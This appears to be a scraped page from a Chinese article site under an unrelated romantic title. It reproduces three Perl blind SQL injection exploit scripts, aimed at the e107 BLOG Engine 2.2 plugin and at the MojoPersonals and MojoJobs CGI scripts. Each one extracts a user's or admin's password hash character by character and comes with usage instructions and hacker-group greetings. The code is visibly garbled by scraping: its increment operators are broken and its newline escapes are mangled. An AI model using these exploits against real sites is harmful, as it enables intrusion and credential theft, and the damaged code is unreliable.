51阅读吧 - 为您打造专业优质的文章分享平台!
您的当前位置: 51阅读吧 >

love is color blind|e107 Plugin BLOG Engine 2.2 Blind SQL Injection Exploit

NO.1 e107 Plugin BLOG Engine 2.2 Blind SQL Injection Exploit

#!/usr/bin/perl
#####################################################################################
# e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit #
# ..::virangar security team::.. #
# www.virangar.net #
# C0d3d BY:virangar security team ( hadihadi ) #
#special tnx to: #
#MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra #
#& all virangar members & all hackerz #
# my lovely friends hadi_aryaie2004 & arash(imm02tal) #
# ..:::Young Iranina Hackerz::.. #
#####################################################################################
#[-] note: becuse e107 using diffrent prefix/table names may it's not work good,but i wrote it for default mod ;)
#this code is for english e107's only,if you want work on other languages,you can edit line 67;) use HTTP::Request;
use LWP::UserAgent; if (@ARGV != 1){
header();
} $host = $ARGV[0]; print "n md5 Password:rn";
&halghe();
print "n[ ]Donen";
sub halghe {
for($i = 1; $i <= 32; $i ){
$f = 0;
$n = 48;
while(!$f && $n <= 57)
{
if(&inject($host, $i, $n,)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n ;
}
if(!$f){
$n=97;
while(!$f && $n <= 102)
{
if(&inject($host, $i, $n,)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n ;
}}
}
}
sub inject {
my $site = $_[0];
my $a = $_[1];
my $b = $_[2]; $col = "user_password"; $attack= "$site"." and substring((select "."$col"." from e107_user where user_id=1 limit 0,1),"."$a".",1)=char("."$b".")/*"; $b = LWP::UserAgent->new() or die "Could not initialize browsern";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $b->request(HTTP::Request->new(GET=>$attack));
$res = $req->content; if ($res !~ /The user has hidden their blog./i){
return 1;
} }
sub header {
print qq{
###################################################################
# e107 Plugin BLOG Engine v2.2 Blind SQL Injection Exploit #
# (just for english e107's) #
# www.virangar.net #
# Useage: perl $0 Host #
# #
# Host: full patch to macgurublog.php uid (dont forget http://) #
# #
# Example: #
# perl $0 http://site/macgurublog_menu/macgurublog.php?uid=5 #
# #
###################################################################
};
}

NO.2 MojoPersonals (mojoClassified.cgi mojo) Blind SQL Injection Exploit

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
print " n";
print " #################### Viva IslaMe Viva IslaMe ################n";
print " # MojoPersonals Blind SQL Injection Exploit #n";
print " # (mojoClassified.cgi mojo ) #n";
print " # Author: Mr.SQL #n";
print " # EMAIL : SQL@HOTMAIL.IT #n";
print " # #n";
print " # -((:: GrE3E3E3E3E3ETZ ::))- #n";
print " # #n";
print " # HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab #n";
print " # :: ALwHeD :: milw0rm :: #n";
print " # #n";
print " # <<>> MuSliMs HaCkErS <<>> #n";
print " # #n";
print " # HOME: WwW.PaL-HaCkEr.CoM #n";
print " # #n";
print " # Usage : perl test.pl host #n";
print " # Example: perl test.pl www.host.com / -d 10 #n";
print " # Options: #n";
print " # -d valid cat value #n";
print " #############################################################n";
exit;
}
my $host = $ARGV[0];
my $cat = $ARGV[2];
my %options = ();
GetOptions(%options, "u=i", "p=s", "d=i");
print "[~] Exploiting...n";
if($options{"b"})
{
$mojo = $options{"b"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i )
{
my $f = 0;
my $h = 48;
while(!$f && $h <= 57)
{
if(istrue2($host, $cat, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h ;
}
if(!$f)
{
$h = 97;
while(!$f && $h <= 122)
{
if(istrue2($host, $cat, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h ;
}
}
}
print "n[~] Exploiting donen";
sub istrue2
{
my $host = shift;
my $cat = shift;
my $i = shift;
my $h = shift;

my $ua = LWP::UserAgent->new;
my $query = "http://".$host."mojoClassified.cgi?mojo=1&cat=".$cat." and (SUBSTRING((SELECT password FROM member LIMIT 0,1),".$i.",1))=CHAR(".$h.")";

if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}

my $resp = $ua->get($query);
my $content = $resp->content;
my $regexp = "tourterms.pdf";

if($content =~ /$regexp/)
{
return 1;
}
else
{
return 0;
}
}

NO.3 MojoJobs (mojoJobs.cgi mojo) Blind SQL Injection Exploit

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
print " n";
print " #################### Viva IslaMe Viva IslaMe ################n";
print " # MojoJobs Blind SQL Injection Exploit #n";
print " # (mojoJobs.cgi mojo ) #n";
print " # Author: Mr.SQL #n";
print " # EMAIL : SQL@HOTMAIL.IT #n";
print " # #n";
print " # -((:: GrE3E3E3E3E3ETZ ::))- #n";
print " # #n";
print " # HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab #n";
print " # :: ALwHeD :: milw0rm :: #n";
print " # #n";
print " # <<>> MuSliMs HaCkErS <<>> #n";
print " # #n";
print " # HOME: WwW.PaL-HaCkEr.CoM #n";
print " # #n";
print " # Usage : perl test.pl host #n";
print " # Example: perl test.pl www.host.com / -d 10 #n";
print " # Options: #n";
print " # -d valid cat_a value #n";
print " #############################################################n";
exit;
}
my $host = $ARGV[0];
my $cat_a = $ARGV[2];
my %options = ();
GetOptions(%options, "u=i", "p=s", "d=i");
print "[~] Exploiting...n";
if($options{"b"})
{
$mojo = $options{"b"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i )
{
my $f = 0;
my $h = 48;
while(!$f && $h <= 57)
{
if(istrue2($host, $cat_a, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h ;
}
if(!$f)
{
$h = 97;
while(!$f && $h <= 122)
{
if(istrue2($host, $cat_a, $i, $h))
{
$f = 1;
syswrite(STDOUT, chr($h), 1);
}
$h ;
}
}
}
print "n[~] Exploiting donen";
sub istrue2
{
my $host = shift;
my $cat_a = shift;
my $i = shift;
my $h = shift;

my $ua = LWP::UserAgent->new;
my $query = "http://".$host."mojoJobs.cgi?mojo=1&cat_a=".$cat_a." and (SUBSTRING((SELECT password FROM member LIMIT 0,1),".$i.",1))=CHAR(".$h.")";

if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}

my $resp = $ua->get($query);
my $content = $resp->content;
my $regexp = "tourterms.pdf";

if($content =~ /$regexp/)
{
return 1;
}
else
{
return 0;
}
}

上一篇:遇见你是我今生的幸运|你与我的相遇才是幸运 上一篇:春晚摇一摇红包|微信春晚摇一摇5亿红包要交税1亿元 用户收到实际只有4亿
与该文相关的文章

温馨提示:如果您对51阅读吧有任何建议,请通过网站联系邮箱向我们反馈,感谢各位的建议与支持!